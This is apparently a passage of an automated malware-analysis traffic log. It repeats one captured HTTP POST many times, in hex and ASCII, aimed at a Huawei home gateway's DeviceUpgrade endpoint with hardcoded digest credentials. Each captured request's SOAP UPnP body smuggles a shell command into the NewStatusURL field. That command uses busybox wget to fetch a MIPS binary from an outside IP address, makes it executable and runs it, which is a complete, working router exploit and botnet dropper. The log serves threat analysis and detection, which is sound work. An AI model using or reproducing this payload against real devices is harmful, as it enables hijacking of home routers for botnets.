20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
